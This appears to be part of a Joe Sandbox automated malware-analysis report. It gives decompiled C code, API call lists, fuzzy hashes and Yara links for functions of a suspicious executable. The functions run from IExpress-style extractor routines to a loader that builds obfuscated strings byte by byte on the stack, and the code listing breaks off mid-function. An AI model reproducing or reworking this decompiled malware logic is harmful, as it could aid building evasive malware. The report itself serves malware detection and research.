Instruction ID: 5135d83d2930338b5213aa48064d0e188287699a6fc22f6da0d922c6b395393d
Opcode Fuzzy Hash: 74386932c16db0b2944518b01452ac506d8846258c8b8520890f5cc48585003c
Instruction Fuzzy Hash: 1401D6B13002147FF72416695C86F7F218EFBD6795F075025B706E12819DA9CC01417A

Uniqueness

Uniqueness Score: -1.00%

Function 008619E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E008619E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0x868004; // 0xb82e2007
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E008643D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0x869a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E00866CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x008619e0
0x008619e0
0x008619eb
0x008619f2
0x008619f9
0x008619fc
0x00861a01
0x00861a2a
0x00861a2e
0x00861a3e
0x00861a4f
0x00861a62
0x00861a6a
0x00000000
0x00861a03
0x00861a06
0x00861a20
0x00861a20
0x00861a08
0x00861a08
0x00861a14
0x00000000
0x00861a16
0x00861a18
0x00861a70
0x00861a72
0x00861a72
0x00861a14
0x00861a06
0x00861a81

APIs

EndDialog.USER32(?,?), ref: 00861A18
GetDesktopWindow.USER32 ref: 00861A24
LoadStringA.USER32(?,?,00000200), ref: 00861A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00861A62
MessageBeep.USER32(000000FF), ref: 00861A6A

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 408b713907885a9c79332d3ab5b27c46d981cedbd7859f336313169061eab56a
Instruction ID: f0fe2da67756379c4bb3f0d46d6590b516ce832b916433cd10f083959a4ac334
Opcode Fuzzy Hash: 408b713907885a9c79332d3ab5b27c46d981cedbd7859f336313169061eab56a
Instruction Fuzzy Hash: 1711E531500119AFCB14EFA8ED0DAAE77B8FF0A301F064151F516E2191DE709E00CB96

Uniqueness

Uniqueness Score: -1.00%

Function 008663C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E008663C0(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0x868004; // 0xb82e2007
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E00861781( &_v268, 0x104, __ecx, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
				E0086658A( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0x869124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0x869124 = 0x80070052;
					_t37 = 0;
				}
				return E00866CE0(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x008663cb
0x008663d2
0x008663d8
0x008663ea
0x008663f3
0x00866401
0x00866402
0x00866410
0x00866415
0x00866433
0x00866438
0x00866449
0x00866463
0x0086646d
0x00866477
0x00866477
0x0086647a
0x0086643a
0x0086643a
0x00866444
0x00866444
0x00866492

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 0086642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 0086645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 0086647A

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008663EB

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-2312194364
Opcode ID: 1df1a1633109aaf3e003cbf63befec9d1f9087811d32b24860984dbf4f0b3319
Instruction ID: f6a3ede38963d9db8c8ab4c8e10f520942a5c5e9cae9f04c1be529b3d1a1c511
Opcode Fuzzy Hash: 1df1a1633109aaf3e003cbf63befec9d1f9087811d32b24860984dbf4f0b3319
Instruction Fuzzy Hash: 2A21F071A00218ABCB20DF29DC85FEA73ACFB45314F1101A9E595E7280EAB46D948FA5

Uniqueness

Uniqueness Score: -1.00%

Function 008647E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008647E0(intOrPtr* __ecx) {
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx;
				_t34 = LocalAlloc(0x40, 8);
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E00861680(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0x8691e0; // 0x2df8360
						 *(_t34 + 4) = _t11;
						 *0x8691e0 = _t34;
						return 1;
					}
					_t25 =  *0x868584; // 0x0
					E008644B9(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0x868584; // 0x0
				E008644B9(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x008647e8
0x008647f0
0x008647f4
0x0086480f
0x00864811
0x00864814
0x00864814
0x00864816
0x00864817
0x00864829
0x0086482b
0x0086482f
0x0086484f
0x00864852
0x00864855
0x00864855
0x00864857
0x00864858
0x00864860
0x00864865
0x0086486a
0x0086486f
0x00000000
0x00864876
0x00864831
0x00864841
0x00864847
0x0086480b
0x00000000
0x0086480b
0x008647f6
0x00864806
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,00864E6F), ref: 008647EA
LocalAlloc.KERNEL32(00000040,?), ref: 00864823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00864847

Part of subcall function 008644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00864518
Part of subcall function 008644B9: MessageBoxA.USER32(?,?,herso,00010010), ref: 00864554

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00864851

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 359063898-2312194364
Opcode ID: 6012e1ffe8dd33cd8dbacd297f0e1295861e268d20146964d3e3e6ccbd65ee6c
Instruction ID: 5ec3393b69feab89f55a70ede8d1b9e36c4bba60f0a9fc0e23921ad7a889ebfa
Opcode Fuzzy Hash: 6012e1ffe8dd33cd8dbacd297f0e1295861e268d20146964d3e3e6ccbd65ee6c
Instruction Fuzzy Hash: 11112CB5204641AFD7199F249C18F7A375AF7C5304F169529FA82DB341DE768C068760

Uniqueness

Uniqueness Score: -1.00%

Function 00863680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00863680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x0086368c
0x0086368f
0x00863691
0x0086369f
0x008636a7
0x00000000
0x00000000
0x008636ba
0x00000000
0x008636bc
0x008636bc
0x008636c0
0x008636cb
0x008636c2
0x008636c4
0x008636c4
0x008636da
0x008636e0
0x008636e6
0x00000000
0x00000000
0x008636e6
0x00000000
0x008636ba
0x008636ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0086369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 008636B2
DispatchMessageA.USER32(?), ref: 008636CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 008636DA

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 9ee9e9da2b29fa39819354544270d94e5e705c720c86664d0b8001045f94599d
Instruction ID: 0c96479caee7207d799ff736cc022f23748f7fdd16b3fcd480690baeb5cedc75
Opcode Fuzzy Hash: 9ee9e9da2b29fa39819354544270d94e5e705c720c86664d0b8001045f94599d
Instruction Fuzzy Hash: 5801A77290021577DF304BA69C48FEB76BCFBD6B10F010119F906F2180D5A0C640DA60

Uniqueness

Uniqueness Score: -1.00%

Function 00866517 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00866517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, int _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0x869a3c; // 0x860000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E008644B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t24 = _a16;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x0086651f
0x0086652a
0x00866534
0x0086656b
0x00866577
0x0086657c
0x00866536
0x0086653e
0x00866542
0x00000000
0x00866544
0x00866547
0x0086654c
0x00866549
0x00866549
0x00866549
0x0086655e
0x00866560
0x00866569
0x00000000
0x00000000
0x00866569
0x00866542
0x00866587

APIs

FindResourceA.KERNEL32(00860000,000007D6,00000005), ref: 0086652A
LoadResource.KERNEL32(00860000,00000000,?,?,00862EE8,00000000,008619E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00866538
DialogBoxIndirectParamA.USER32(00860000,00000000,00000547,008619E0,00000000), ref: 00866557
FreeResource.KERNEL32(00000000,?,?,00862EE8,00000000,008619E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00866560

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: aee6d7921ebd3e243c39da60e9b70faff040f8d16f1079c8a8564b32979f29ad
Instruction ID: 5b372a917426e16ee846c087e8b0b68ad767b16f4235c2ffc1d9cd386c551342
Opcode Fuzzy Hash: aee6d7921ebd3e243c39da60e9b70faff040f8d16f1079c8a8564b32979f29ad
Instruction Fuzzy Hash: 6901D672100659BBDB106FA99C4DDBB7A6DFF85761F020125FE16E3190EBB18D208AA1

Uniqueness

Uniqueness Score: -1.00%

Function 008665E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E008665E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x008665e8
0x008665ed
0x008665ef
0x008665f2
0x008665f4
0x008665f4
0x008665f6
0x008665f7
0x00866608
0x00866611
0x00866618
0x0086661c
0x00000000
0x00000000
0x0086660e
0x00866623
0x00866625
0x0086663b
0x0086663b
0x0086663d
0x00866641
0x00866610
0x00866610
0x00000000
0x00866610
0x00866644
0x00866647
0x00866647
0x00866621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,00862B33), ref: 00866602
CharPrevA.USER32(?,00000000), ref: 00866612
CharPrevA.USER32(?,00000000), ref: 00866629
CharNextA.USER32(00000000), ref: 00866635

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 9a147a3404f40a2b90a75cb78ea653bf6b5876a97d21d76e2a4a73fa73e323e4
Instruction ID: d7e2f7c9b4198e70c7bad6ba755343c90b6180faa23777f6244272dfc694da37
Opcode Fuzzy Hash: 9a147a3404f40a2b90a75cb78ea653bf6b5876a97d21d76e2a4a73fa73e323e4
Instruction Fuzzy Hash: 4DF02D310041D06ED7361B28FC888B7BF9CFFA7354B1B016FE492E2001F6550D068A61

Uniqueness

Uniqueness Score: -1.00%

Function 008669B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008669B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0x8681f8 = E00866C70();
				__set_app_type(E00866FBE(2));
				 *0x8688a4 =  *0x8688a4 | 0xffffffff;
				 *0x8688a8 =  *0x8688a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0x868528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0x86851c; // 0x0
				 *_t5 = _t12;
				_t6 = E00867000();
				if( *0x868000 == 0) {
					__setusermatherr(E00867000);
				}
				E008671EF(_t6);
				return 0;
			}

0x008669b7
0x008669c2
0x008669c8
0x008669cf
0x008669d8
0x008669de
0x008669e4
0x008669e6
0x008669ec
0x008669f2
0x008669f4
0x00866a00
0x00866a07
0x00866a0d
0x00866a0e
0x00866a15

APIs

Part of subcall function 00866FBE: GetModuleHandleW.KERNEL32(00000000), ref: 00866FC5

__set_app_type.MSVCRT ref: 008669C2
__p__fmode.MSVCRT ref: 008669D8
__p__commode.MSVCRT ref: 008669E6
__setusermatherr.MSVCRT ref: 00866A07

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 6e2e5638f6878289bdee13d79f170e9502ed5ee2d7e859952b650e678df55625
Instruction ID: c44dfd93919d2b26821290ec8389240bd5b65fb7dd122a9c928e440e5932e232
Opcode Fuzzy Hash: 6e2e5638f6878289bdee13d79f170e9502ed5ee2d7e859952b650e678df55625
Instruction Fuzzy Hash: DAF0F870188741CFC718AF34ED1E6043BA1FB05335B132719E466D63E0DFBA85508E12

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: twl97yF91.exePID: 3776, Parent PID: 6056COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	28%
Signature Coverage:	14.7%
Total number of Nodes:	339
Total number of Limit Nodes:	38

Executed Functions

Function 004019F0 Relevance: 147.7, APIs: 34, Strings: 50, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004019F0(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t337;
				void* _t340;
				int _t341;
				CHAR* _t344;
				intOrPtr* _t349;
				int _t350;
				long _t352;
				signed int _t354;
				intOrPtr _t358;
				long _t359;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				_Unknown_base(*)()* _t367;
				int _t368;
				int _t369;
				int _t370;
				intOrPtr* _t376;
				int _t378;
				intOrPtr _t379;
				intOrPtr* _t381;
				int _t383;
				intOrPtr* _t384;
				int _t385;
				int _t396;
				int _t399;
				int _t402;
				int _t405;
				intOrPtr* _t407;
				int _t413;
				int _t415;
				void* _t421;
				int _t422;
				int _t424;
				intOrPtr* _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				int _t432;
				int _t435;
				intOrPtr* _t437;
				int _t438;
				intOrPtr* _t439;
				int _t440;
				int _t442;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				int _t469;
				int _t471;
				int _t482;
				signed int _t486;
				intOrPtr* _t488;
				intOrPtr* _t490;
				intOrPtr* _t492;
				intOrPtr _t493;
				void* _t494;
				struct HRSRC__* _t497;
				void* _t514;
				int _t519;
				intOrPtr* _t520;
				void* _t524;
				void* _t525;
				struct HINSTANCE__* _t526;
				intOrPtr _t527;
				void* _t531;
				void* _t535;
				struct HRSRC__* _t536;
				intOrPtr* _t537;
				intOrPtr* _t539;
				int _t542;
				int _t543;
				intOrPtr* _t547;
				intOrPtr* _t548;
				intOrPtr* _t549;
				intOrPtr* _t550;
				void* _t551;
				intOrPtr _t552;
				int _t555;
				void* _t556;
				void* _t557;
				void* _t558;
				void* _t559;
				void* _t560;
				void* _t561;
				void* _t562;
				intOrPtr* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;

				_t567 = __eflags;
				_t494 = __edx;
				__imp__OleInitialize(0); // executed
				 *((char*)(_t556 + 0x18)) = 0xe0;
				 *((char*)(_t556 + 0x19)) = 0x3b;
				 *((char*)(_t556 + 0x1a)) = 0x8d;
				 *((char*)(_t556 + 0x1b)) = 0x2a;
				 *((char*)(_t556 + 0x1c)) = 0xa2;
				 *((char*)(_t556 + 0x1d)) = 0x2a;
				 *((char*)(_t556 + 0x1e)) = 0x2a;
				 *((char*)(_t556 + 0x1f)) = 0x41;
				 *((char*)(_t556 + 0x20)) = 0xd3;
				 *((char*)(_t556 + 0x21)) = 0x20;
				 *((char*)(_t556 + 0x22)) = 0x64;
				 *((char*)(_t556 + 0x23)) = 6;
				 *((char*)(_t556 + 0x24)) = 0x8a;
				 *((char*)(_t556 + 0x25)) = 0xf7;
				 *((char*)(_t556 + 0x26)) = 0x3d;
				 *((char*)(_t556 + 0x27)) = 0x9d;
				 *((char*)(_t556 + 0x28)) = 0xd9;
				 *((char*)(_t556 + 0x29)) = 0xee;
				 *((char*)(_t556 + 0x2a)) = 0x15;
				 *((char*)(_t556 + 0x2b)) = 0x68;
				 *((char*)(_t556 + 0x2c)) = 0xf4;
				 *((char*)(_t556 + 0x2d)) = 0x76;
				 *((char*)(_t556 + 0x2e)) = 0xb9;
				 *((char*)(_t556 + 0x2f)) = 0x34;
				 *((char*)(_t556 + 0x30)) = 0xbf;
				 *((char*)(_t556 + 0x31)) = 0x1e;
				 *((char*)(_t556 + 0x32)) = 0xe7;
				 *((char*)(_t556 + 0x33)) = 0x78;
				 *((char*)(_t556 + 0x34)) = 0x98;
				 *((char*)(_t556 + 0x35)) = 0xe9;
				 *((char*)(_t556 + 0x36)) = 0x6f;
				 *((char*)(_t556 + 0x37)) = 0xb4;
				 *((char*)(_t556 + 0x38)) = 0;
				_push(E00401650(_t556 + 0x14, _t556 + 0x114));
				_t337 = E0040B99E(0, _t494, _t524, _t535, _t567);
				_t557 = _t556 + 0xc;
				if(_t337 == 0x41b2a0) {
					L80:
					__eflags = 0;
					return 0;
				} else {
					_t340 = CreateToolhelp32Snapshot(8, GetCurrentProcessId()); // executed
					_t525 = _t340;
					 *((intOrPtr*)(_t557 + 0x280)) = 0x224;
					 *((char*)(_t557 + 0x64)) = 0xce;
					 *((char*)(_t557 + 0x65)) = 0x27;
					 *((char*)(_t557 + 0x66)) = 0x9c;
					 *((char*)(_t557 + 0x67)) = 0x1a;
					 *((char*)(_t557 + 0x68)) = 0x95;
					 *((char*)(_t557 + 0x69)) = 0x2e;
					 *((char*)(_t557 + 0x6a)) = 0x22;
					 *((char*)(_t557 + 0x6b)) = 0x57;
					 *((char*)(_t557 + 0x6c)) = 0x91;
					 *((char*)(_t557 + 0x6d)) = 0x21;
					 *((char*)(_t557 + 0x6e)) = 0x57;
					 *((char*)(_t557 + 0x6f)) = 0x3a;
					 *((char*)(_t557 + 0x70)) = 0xf8;
					 *((char*)(_t557 + 0x71)) = 0x98;
					 *((char*)(_t557 + 0x72)) = 0x5b;
					 *((char*)(_t557 + 0x73)) = 0xf4;
					 *((char*)(_t557 + 0x74)) = 0xb5;
					 *((char*)(_t557 + 0x75)) = 0x87;
					 *((char*)(_t557 + 0x76)) = 0x7b;
					 *((char*)(_t557 + 0x77)) = 0xf;
					 *((char*)(_t557 + 0x78)) = 0xf4;
					 *((char*)(_t557 + 0x79)) = 0x76;
					 *((char*)(_t557 + 0x7a)) = 0xb9;
					 *((char*)(_t557 + 0x7b)) = 0x34;
					 *((char*)(_t557 + 0x7c)) = 0xbf;
					 *((char*)(_t557 + 0x7d)) = 0x1e;
					 *((char*)(_t557 + 0x7e)) = 0xe7;
					 *((char*)(_t557 + 0x7f)) = 0x78;
					 *((char*)(_t557 + 0x80)) = 0x98;
					 *((char*)(_t557 + 0x81)) = 0xe9;
					 *((char*)(_t557 + 0x82)) = 0x6f;
					 *((char*)(_t557 + 0x83)) = 0xb4;
					 *((char*)(_t557 + 0x84)) = 0;
					 *((char*)(_t557 + 0x18)) = 0xc0;
					 *((char*)(_t557 + 0x19)) = 0x38;
					 *((char*)(_t557 + 0x1a)) = 0x8d;
					 *((char*)(_t557 + 0x1b)) = 0x1f;
					 *((char*)(_t557 + 0x1c)) = 0x8e;
					 *((char*)(_t557 + 0x1d)) = 0x30;
					 *((char*)(_t557 + 0x1e)) = 0x65;
					 *((char*)(_t557 + 0x1f)) = 0x47;
					 *((char*)(_t557 + 0x20)) = 0xd3;
					 *((char*)(_t557 + 0x21)) = 0x29;
					 *((char*)(_t557 + 0x22)) = 0x3b;
					 *((char*)(_t557 + 0x23)) = 0x56;
					 *((char*)(_t557 + 0x24)) = 0xf8;
					 *((char*)(_t557 + 0x25)) = 0x98;
					 *((char*)(_t557 + 0x26)) = 0x5b;
					 *((char*)(_t557 + 0x27)) = 0xf4;
					 *((char*)(_t557 + 0x28)) = 0xb5;
					 *((char*)(_t557 + 0x29)) = 0x87;
					 *((char*)(_t557 + 0x2a)) = 0x7b;
					 *((char*)(_t557 + 0x2b)) = 0xf;
					 *((char*)(_t557 + 0x2c)) = 0xf4;
					 *((char*)(_t557 + 0x2d)) = 0x76;
					 *((char*)(_t557 + 0x2e)) = 0xb9;
					 *((char*)(_t557 + 0x2f)) = 0x34;
					 *((char*)(_t557 + 0x30)) = 0xbf;
					 *((char*)(_t557 + 0x31)) = 0x1e;
					 *((char*)(_t557 + 0x32)) = 0xe7;
					 *((char*)(_t557 + 0x33)) = 0x78;
					 *((char*)(_t557 + 0x34)) = 0x98;
					 *((char*)(_t557 + 0x35)) = 0xe9;
					 *((char*)(_t557 + 0x36)) = 0x6f;
					 *((char*)(_t557 + 0x37)) = 0xb4;
					 *((char*)(_t557 + 0x38)) = 0;
					_t341 = Module32First(_t525, _t557 + 0x278); // executed
					if(_t341 == 0) {
						L38:
						FindCloseChangeNotification(_t525); // executed
						_t526 = GetModuleHandleA(0);
						 *((char*)(_t557 + 0x1c)) = 0xfc;
						 *((char*)(_t557 + 0x1d)) = 0xb;
						 *((char*)(_t557 + 0x1e)) = 0xff;
						 *((char*)(_t557 + 0x1f)) = 0x75;
						 *((char*)(_t557 + 0x20)) = 0xe7;
						 *((char*)(_t557 + 0x21)) = 0x44;
						 *((char*)(_t557 + 0x22)) = 0x4b;
						 *((char*)(_t557 + 0x23)) = 0x23;
